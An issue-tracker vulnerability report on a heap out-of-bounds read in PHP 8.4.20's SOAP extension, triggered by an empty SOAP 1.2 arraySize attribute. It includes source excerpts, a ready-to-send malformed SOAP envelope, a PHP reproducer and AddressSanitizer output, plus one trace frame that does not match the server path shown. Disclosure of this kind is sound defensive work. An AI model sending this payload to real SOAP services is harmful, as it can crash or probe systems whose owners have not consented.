ext/soap: heap out-of-bounds read while decoding a SOAP 1.2 array with an empty `arraySize`
- Lenguaje dominante
- C
- Estrellas
- 40.4k
- Forks
- 8.1k
- Merge medio
- 2 d 13 h
- PR fusionados (30 d)
- 96
Descripción
Summary
PHP's bundled SOAP extension accepts an attacker-controlled SOAP 1.2
enc:arraySize attribute while decoding an encoded array. An empty value makes
the dimension parser return zero; the decoder subsequently allocates a
zero-length position vector and reads pos[0] for the first array item.
AddressSanitizer reports a four-byte heap out-of-bounds read in
to_zval_array(). The malformed value is protocol data in a SOAP request or
reply.
Details
- Affected component: bundled
ext/soapin PHP 8.4.20 - Affected entry points:
SoapServer::handle()decoding a SOAP 1.2
request, andSoapClientdecoding a SOAP 1.2 response - Affected source:
https://github.com/php/php-src, PHP 8.4.20;
ext/soap/php_encoding.c - Root cause:
calc_dimension_12()accepts an emptyarraySizeas zero
dimensions, butto_zval_array()subsequently indexes the corresponding
zero-lengthposallocation. - Trigger condition: a SOAP 1.2 encoded array has
enc:arraySize=""and contains at least one XML element.
calc_dimension_12() counts runs of decimal digits or * characters. An
empty string enters neither loop and returns its initial value of zero:
/* ext/soap/php_encoding.c */
static int calc_dimension_12(const char *str)
{
int i = 0, flag = 0;
while (*str != '\0' && (*str < '0' || *str > '9') && (*str != '*')) {
str++;
}
if (*str == '*') {
i++;
str++;
}
while (*str != '\0') {
if (*str >= '0' && *str <= '9') {
if (flag == 0) {
i++;
flag = 1;
}
} else if (*str == '*') {
soap_error0(E_ERROR, "Encoding: '*' may only be first arraySize value in list");
} else {
flag = 0;
}
str++;
}
return i;
}
The SOAP 1.2 array path trusts that result. get_position_12() and the later
pos allocation both receive dimension == 0. The loop for intermediate
arrays is skipped, leaving i == 0, and the first child is inserted using
pos[i]:
/* ext/soap/php_encoding.c, to_zval_array() */
dimension = calc_dimension_12((char *) attr->children->content);
dims = get_position_12(dimension, (char *) attr->children->content);
/* ... */
pos = safe_emalloc(sizeof(int), dimension, 0);
memset(pos, 0, sizeof(int) * dimension);
/* ... first XML child ... */
i = 0;
ar = ret;
while (i < dimension - 1) {
/* skipped when dimension is zero */
}
zend_hash_index_update(Z_ARRVAL_P(ar), pos[i], &tmpVal);
The public request path is a normal SOAP server receiving raw request XML:
<?php
function sink($value = null): void {}
$server = new SoapServer(null, ['uri' => 'urn:x', 'soap_version' => SOAP_1_2]);
$server->addFunction('sink');
$server->handle(); // Parses the HTTP request body supplied by the peer.
An untrusted peer needs only to send the following SOAP body to that endpoint:
<?xml version="1.0"?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"
xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding"
xmlns:m="urn:x">
<SOAP-ENV:Body>
<m:sink><x SOAP-ENC:arraySize=""><i>abc</i></x></m:sink>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
The same native decoder is used when SoapClient processes a SOAP 1.2 reply
from a remote endpoint. The included CLI program is the retained ASan trigger;
it embeds the request body solely to make the recorded reproducer
self-contained.
PoC
Environment and configuration
- PHP: PHP 8.4.20 CLI, NTS, DEBUG; built 2026-06-02
- PHP source revision: PHP 8.4.20 source tree. The original build did not
retain a git commit identifier. - PHP configure options:
PKG_CONFIG_PATH=/opt/openssl-3.2/lib64/pkgconfig \
./configure \
--enable-soap --enable-mbstring --enable-debug --disable-cgi \
--disable-phpdbg --enable-ftp --with-gmp --enable-intl --with-ldap \
--with-xsl --with-zip --with-zlib --with-openssl=/opt/openssl-3.2 \
--with-openssl-argon2 --enable-mysqlnd --with-mysqli=mysqlnd \
--with-pdo-mysql=mysqlnd --with-unixODBC=/usr \
--with-pdo-odbc=unixODBC,/usr --with-pdo-dblib --enable-pcntl \
--enable-shmop --enable-sysvmsg --enable-sysvsem --enable-sysvshm \
--enable-sockets --enable-opcache --with-sodium --with-readline \
--with-tidy --with-snmp --with-pgsql --with-pdo-pgsql \
--with-pdo-firebird=/usr --enable-zend-test
- PHP compiler/linker flags:
CFLAGS=-fsanitize=address,undefined -fno-omit-frame-pointer -g -O0
CXXFLAGS=-fsanitize=address,undefined -fno-omit-frame-pointer -g -O0
LDFLAGS=-fsanitize=address,undefined -L/opt/openssl-3.2/lib64 -Wl,-rpath,/opt/openssl-3.2/lib64
- Extension: bundled
ext/soap, enabled with--enable-soap; no separate
PECL module is loaded. - Sanitizer runtime:
USE_ZEND_ALLOC=0,
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1, and
UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1. The recorded invocation
also setLD_LIBRARY_PATH=/opt/openssl-3.2/lib64.
Reproducer
<?php
function sink($value = null): void
{
}
function envelope(string $parameter): string
{
return '<?xml version="1.0"?>'
. '<SOAP-ENV:Envelope'
. ' xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"'
. ' xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding"'
. ' xmlns:m="urn:x">'
. '<SOAP-ENV:Body><m:sink>' . $parameter . '</m:sink></SOAP-ENV:Body>'
. '</SOAP-ENV:Envelope>';
}
$server = new SoapServer(null, [
'uri' => 'urn:x',
'soap_version' => SOAP_1_2,
]);
$server->addFunction('sink');
$server->handle(envelope('<x SOAP-ENC:arraySize=""><i>abc</i></x>'));
docker exec php-asan-8420 env \
LD_LIBRARY_PATH=/opt/openssl-3.2/lib64 \
USE_ZEND_ALLOC=0 \
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1 \
UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1 \
/src/php/sapi/cli/php /tmp/soap-array-size-oob.php
Sanitizer report
The retained sanitizer evidence reports the following access for the empty
arraySize server trigger:
=================================================================
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 4
#0 to_zval_array /src/php/ext/soap/php_encoding.c:2695
#1 master_to_zval_int /src/php/ext/soap/php_encoding.c:563
#2 parse_packet_soap /src/php/ext/soap/php_packet_soap.c:350
...
0 bytes to the right of 1-byte region
allocated by safe_emalloc at to_zval_array:2650
The original evidence retained the relevant ASan frames and allocation context
above, but not the complete unabridged process log. No claim below relies on
information absent from that captured evidence.
PHP Version
PHP 8.4.20
Operating System
No response
Guía de contribución
Primeros pasos
- Lee el issue completo y luego la guía de contribución del proyecto.
- Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
- Haz un fork del repositorio y trabaja en una rama.
- Abre un pull request que haga referencia al número del issue.
Evaluación
Este issue todavía no se ha evaluado.